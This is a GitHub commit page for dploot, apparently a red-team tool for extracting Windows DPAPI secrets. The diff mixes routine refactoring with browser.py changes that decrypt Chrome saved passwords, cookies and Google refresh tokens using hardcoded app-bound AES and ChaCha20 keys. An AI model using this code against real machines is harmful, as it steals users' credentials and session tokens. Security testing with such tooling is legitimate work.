Skip to content

Commit dad8065

Browse files
authored
Merge branch 'zblurx:main' into Fix-my
2 parents 3750945 + d106d7d commit dad8065

File tree

17 files changed

+172
-110
lines changed

17 files changed

+172
-110
lines changed

dploot/lib/consts.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,3 +9,22 @@
99
"Default User",
1010
"All Users",
1111
]
12+
13+
# simple class to check for false positives, case insensitive
14+
class FalsePositives(list):
15+
def __init__(self,
16+
false_positives: list[str] = None
17+
) -> None:
18+
if false_positives is None:
19+
false_positives = FALSE_POSITIVES
20+
21+
super().__init__(map (lambda x: x.lower(), false_positives))
22+
23+
def __contains__(self, name):
24+
return super().__contains__(str(name).lower())
25+
26+
def __setitem__(self, key, value):
27+
return super().__setitem__(key,str(value).lower())
28+
29+
def append(self, element):
30+
return super().append(str(element).lower())

dploot/lib/crypto.py

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -280,12 +280,7 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
280280
iv, payload = rest[:12], rest[12:]
281281
cipher = AES.new(aeskey, AES.MODE_GCM, iv)
282282
decrypted = cipher.decrypt(payload)
283-
if version in (b"v10",b"v11"):
284-
decrypted = decrypted[:-16]
285-
elif version in (b"v20"):
286-
decrypted = decrypted[32:]
287-
decrypted = decrypted[:-16]
288-
decrypted = decrypted.decode("utf-8")
283+
decrypted = decrypted[:-16]
289284
return decrypted or None
290285

291286
def deriveKeysFromUser(sid, password):

dploot/lib/masterkey.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,10 @@
1111

1212

1313
class Masterkey:
14-
def __init__(self, guid, blob = None, sid = None, key = None, sha1 = None, user: str = "None") -> None:
14+
def __init__(self, guid, blob = None, sid:str = None, key = None, sha1 = None, user: str = "None") -> None:
1515
self.guid = guid
1616
self.blob = blob
17-
self.sid = sid
17+
self.sid = str(sid).upper()
1818
self.user = user
1919

2020
self.key = key

dploot/lib/smb.py

Lines changed: 41 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,12 @@
22
import os
33
import logging
44
import time
5+
6+
from pathlib import Path
57
from typing import Any, Dict, List, Optional
68

79
from dploot.lib.target import Target
10+
from dploot.lib.consts import FalsePositives
811

912
from impacket.smbconnection import SMBConnection
1013
from impacket.winregistry import Registry
@@ -22,8 +25,6 @@
2225
)
2326

2427
from dploot.lib.wmi import DPLootWmiExec
25-
from dploot.lib.consts import FALSE_POSITIVES
26-
2728

2829
class DPLootSMBConnection:
2930
# if called with target = LOCAL, return an instance of DPLootLocalSMConnection,
@@ -43,14 +44,14 @@ def __new__(
4344
# we end up here when a child class is instantiated.
4445
return super().__new__(cls)
4546

46-
def __init__(self, target: Target, false_positive: List[str] = FALSE_POSITIVES) -> None:
47+
def __init__(self, target: Target, false_positive: List[str] | None = None) -> None:
4748
self.target = target
4849
self.remote_ops = None
4950
self.local_session = None
5051

5152
self._usersProfiles = None
5253

53-
self.false_positive = false_positive
54+
self.false_positive = FalsePositives(false_positive)
5455

5556
def listDirs(self, share: str, dirlist: List[str]) -> Dict[str, Any]:
5657
result = {}
@@ -390,8 +391,8 @@ def _sharedfile_fromdirentry(d: os.DirEntry):
390391

391392
SharedFile.fromDirEntry = _sharedfile_fromdirentry
392393

393-
def remote_list_dir(self, share, path, wildcard=True) -> "Any | None":
394-
path = os.path.join(self.target.local_root, path.replace("\\", os.sep))
394+
def remote_list_dir(self, share, path, wildcard=True) -> list[SharedFile]:
395+
path = self.get_real_path(path)
395396
if not wildcard:
396397
raise NotImplementedError("Not implemented for wildcard == False")
397398
try:
@@ -418,6 +419,36 @@ def listPath(self, shareName: str = "C$", path: Optional[str] = None, password:
418419
def getFile(self, *args, **kwargs) -> "Any | None":
419420
raise NotImplementedError("getFile is not implemented in LOCAL mode")
420421

422+
def get_real_path(self, path:str) -> str:
423+
"""Match path against file system (case insensitive if py>=3.12).
424+
Only used when target is `LOCAL`.
425+
426+
Args:
427+
path (str): pah representation (ie C:\\Windows\\...)
428+
429+
Returns:
430+
str: real path on the filesystem
431+
"""
432+
# clean path (remove c:\, /, and current root if already present)
433+
path=path.removeprefix(self.target.local_root)
434+
if path[:3].lower() == "c:\\":
435+
path = path[3:]
436+
path=path.replace("\\", os.sep).lstrip(os.sep)
437+
438+
globok = False
439+
# The pattern to match does not contain jokers, so Path.glob() should return 0 or 1 match
440+
try:
441+
path=next(Path(self.target.local_root).glob(path, case_sensitive=False))
442+
globok=True
443+
except (StopIteration, TypeError):
444+
# StopIteration: path does not exist.
445+
# TypeError: unexpexted keyword (case_sensitive added in python 3.12)
446+
# Return a representation of path anyway
447+
path=os.path.join(self.target.local_root, path)
448+
449+
#logging.debug(f"get_real_path: [{globok=}] returning {path}")
450+
return str(path)
451+
421452
def readFile(
422453
self,
423454
shareName,
@@ -431,12 +462,10 @@ def readFile(
431462
) -> bytes:
432463
data = None
433464
try:
434-
with open(
435-
os.path.join(self.target.local_root, path.replace("\\", os.sep)), "rb"
436-
) as f:
465+
with open(self.get_real_path(path), "rb") as f:
437466
data = f.read()
438467
except Exception as e:
439-
logging.debug(f"Exception occurred while trying to read {path}: {e}")
468+
logging.debug(f"Exception occurred while trying to read {path}: {repr(e)}")
440469

441470
return data
442471

@@ -453,7 +482,7 @@ def getUsersProfiles(self) -> dict[str, str] | None:
453482

454483
result = {}
455484
# open hive
456-
reg_file_path = os.path.join(self.target.local_root, self.hklm_software_path)
485+
reg_file_path = self.get_real_path(self.hklm_software_path)
457486
reg = Registry(reg_file_path, isRemote=False)
458487

459488
# open key
@@ -474,6 +503,7 @@ def getUsersProfiles(self) -> dict[str, str] | None:
474503
.replace(r"%systemroot%", self.systemroot)
475504
)
476505
path = ntpath.normpath(path)
506+
path = self.get_real_path(path)
477507
# store in result dict
478508
result[user_sid] = path
479509

dploot/lib/target.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,8 @@ def create(
8686
if (
8787
not password
8888
and username != ""
89+
and lmhash == ""
90+
and nthash == ""
8991
and hashes is None
9092
and aesKey is None
9193
and no_pass is not True

dploot/lib/utils.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ def is_certificate_guid(value: str):
3434

3535

3636
def is_credfile(value: str):
37-
guid = re.compile(r"[A-F0-9]{32}")
37+
guid = re.compile(r"[A-F0-9a-f]{32}")
3838
return guid.match(value)
3939

4040

dploot/triage/__init__.py

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,28 +4,27 @@
44
from dploot.lib.target import Target
55
from dploot.lib.smb import DPLootSMBConnection
66
from dploot.lib.masterkey import Masterkey
7-
from dploot.lib.consts import FALSE_POSITIVES
7+
from dploot.lib.consts import FalsePositives
88

99
# Define base triage class.
1010

11-
class Triage(ABC):
11+
class Triage:
1212
"""
13-
Abstract Class Definition for the DPLoot Triage Class.
13+
Class Definition for the DPLoot Triage Class.
1414
"""
15-
@abstractmethod
1615
def __init__(
1716
self,
1817
target: Target,
1918
conn: DPLootSMBConnection,
2019
masterkeys: List[Masterkey] = None,
2120
per_loot_callback: Callable = None,
22-
false_positive: List[str] = FALSE_POSITIVES,
21+
false_positive: List[str] | None = None,
2322
) -> None:
2423

2524
self.target = target
2625
self.conn = conn
2726
self.masterkeys = masterkeys
2827
self.per_loot_callback = per_loot_callback
29-
self.false_positive = false_positive
30-
28+
self.false_positive = FalsePositives(false_positive)
29+
3130
self.looted_files = {}

dploot/triage/browser.py

Lines changed: 51 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import base64
2-
from Cryptodome.Cipher import AES
2+
from Cryptodome.Cipher import AES, ChaCha20_Poly1305
33
from binascii import hexlify
44
import json
55
import logging
@@ -9,7 +9,6 @@
99
from impacket.structure import Structure
1010

1111

12-
from dploot.lib.consts import FALSE_POSITIVES
1312
from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
1413
from dploot.lib.smb import DPLootSMBConnection
1514
from dploot.lib.target import Target
@@ -47,12 +46,20 @@ def key(self):
4746
return self._key
4847
if len(self["Key"]) == 32:
4948
self._key = self["Key"]
50-
else: # from https://gist.github.com/thewh1teagle/d0bbc6bc678812e39cba74e1d407e5c7
51-
key = base64.b64decode("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
49+
else: # from https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py
50+
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
51+
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")
52+
flag = self["Key"][0]
5253
iv = self["Key"][1:13]
5354
encrypted_text = self["Key"][13:45]
54-
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
55-
self._key = cipher.decrypt(ciphertext=encrypted_text)
55+
if flag == 1:
56+
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
57+
self._key = cipher.decrypt(ciphertext=encrypted_text)
58+
elif flag == 2:
59+
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
60+
self._key = cipher.decrypt(ciphertext=encrypted_text)
61+
else:
62+
raise ValueError(f"Unsupported flag: {flag}")
5663
return self._key
5764

5865
@dataclass
@@ -165,7 +172,7 @@ def __init__(
165172
conn: DPLootSMBConnection,
166173
masterkeys: List[Masterkey],
167174
per_secret_callback: Callable = None,
168-
false_positive: List[str] = FALSE_POSITIVES,
175+
false_positive: List[str] | None = None,
169176
) -> None:
170177
super().__init__(
171178
target,
@@ -235,35 +242,40 @@ def triage_chrome_browsers_for_user(
235242
f"Found {browser.upper()} AppData files for user {user}"
236243
)
237244
aesStateKey_json = json.loads(aesStateKey_bytes)
238-
profiles = aesStateKey_json['profile']['profiles_order']
239-
blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"])
240-
if blob[:5] == b"DPAPI":
241-
dpapi_blob = blob[5:]
242-
masterkey = find_masterkey_for_blob(
243-
dpapi_blob, masterkeys=self.masterkeys
244-
)
245-
if masterkey is not None:
246-
aeskey = decrypt_blob(
247-
blob_bytes=dpapi_blob, masterkey=masterkey
248-
)
249-
250-
if "app_bound_encrypted_key" in aesStateKey_json["os_crypt"]:
251-
app_bound_blob = base64.b64decode(aesStateKey_json["os_crypt"]["app_bound_encrypted_key"])
252-
dpapi_blob = app_bound_blob[4:] # Trim off APPB
253-
masterkey = find_masterkey_for_blob(
245+
try:
246+
blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"])
247+
if blob[:5] == b"DPAPI":
248+
dpapi_blob = blob[5:]
249+
masterkey = find_masterkey_for_blob(
254250
dpapi_blob, masterkeys=self.masterkeys
255251
)
256-
if masterkey is not None:
257-
intermediate_key = decrypt_blob(
258-
blob_bytes=dpapi_blob, masterkey=masterkey
259-
)
252+
if masterkey is not None:
253+
aeskey = decrypt_blob(
254+
blob_bytes=dpapi_blob, masterkey=masterkey
255+
)
256+
257+
if "app_bound_encrypted_key" in aesStateKey_json["os_crypt"]:
258+
app_bound_blob = base64.b64decode(aesStateKey_json["os_crypt"]["app_bound_encrypted_key"])
259+
dpapi_blob = app_bound_blob[4:] # Trim off APPB
260260
masterkey = find_masterkey_for_blob(
261-
intermediate_key, masterkeys=self.masterkeys
262-
)
263-
if masterkey:
264-
app_bound_key = AppBoundKey(decrypt_blob(
265-
blob_bytes=intermediate_key, masterkey=masterkey
266-
)).key
261+
dpapi_blob, masterkeys=self.masterkeys
262+
)
263+
if masterkey is not None:
264+
intermediate_key = decrypt_blob(
265+
blob_bytes=dpapi_blob, masterkey=masterkey
266+
)
267+
masterkey = find_masterkey_for_blob(
268+
intermediate_key, masterkeys=self.masterkeys
269+
)
270+
if masterkey:
271+
app_bound_key = AppBoundKey(decrypt_blob(
272+
blob_bytes=intermediate_key, masterkey=masterkey
273+
)).key
274+
profiles = aesStateKey_json['profile']['profiles_order']
275+
except KeyError as e:
276+
logging.debug(f"Key not found! {repr(e)}")
277+
# logging.debug(f"{aesStateKey_json=}")
278+
267279
for profile in profiles:
268280
loginData_bytes = self.conn.readFile(
269281
shareName=self.share,
@@ -289,14 +301,14 @@ def triage_chrome_browsers_for_user(
289301
for url, username, encrypted_password in lines:
290302
password = None
291303
try:
292-
if encrypted_password[:3] == "v20":
304+
if encrypted_password[:3] == b"v20":
293305
password = decrypt_chrome_password(
294306
encrypted_password, app_bound_key
295-
)
307+
).decode("utf-8")
296308
else:
297309
password = decrypt_chrome_password(
298310
encrypted_password, aeskey
299-
)
311+
).decode("utf-8")
300312
except Exception as e:
301313
logging.debug(f"Could not decrypt chrome cookie: {e}")
302314
login_data_decrypted = LoginData(
@@ -347,11 +359,11 @@ def triage_chrome_browsers_for_user(
347359
if encrypted_cookie[:3] == b"v20":
348360
decrypted_cookie_value = decrypt_chrome_password(
349361
encrypted_cookie, app_bound_key
350-
)
362+
)[32:].decode("utf-8")
351363
else:
352364
decrypted_cookie_value = decrypt_chrome_password(
353365
encrypted_cookie, aeskey
354-
)
366+
).decode("utf-8")
355367
except Exception as e:
356368
logging.debug(f"Could not decrypt chrome cookie: {e}")
357369
cookie = Cookie(
@@ -391,7 +403,7 @@ def triage_chrome_browsers_for_user(
391403
lines = query.fetchall()
392404
if len(lines) > 0:
393405
for service, encrypted_grt in lines:
394-
token = decrypt_chrome_password(encrypted_grt, aeskey)
406+
token = decrypt_chrome_password(encrypted_grt, aeskey).decode("utf-8")
395407
google_refresh_token = GoogleRefreshToken(
396408
winuser=user, browser=browser, service=service, token=token
397409
)

0 commit comments

Comments
 (0)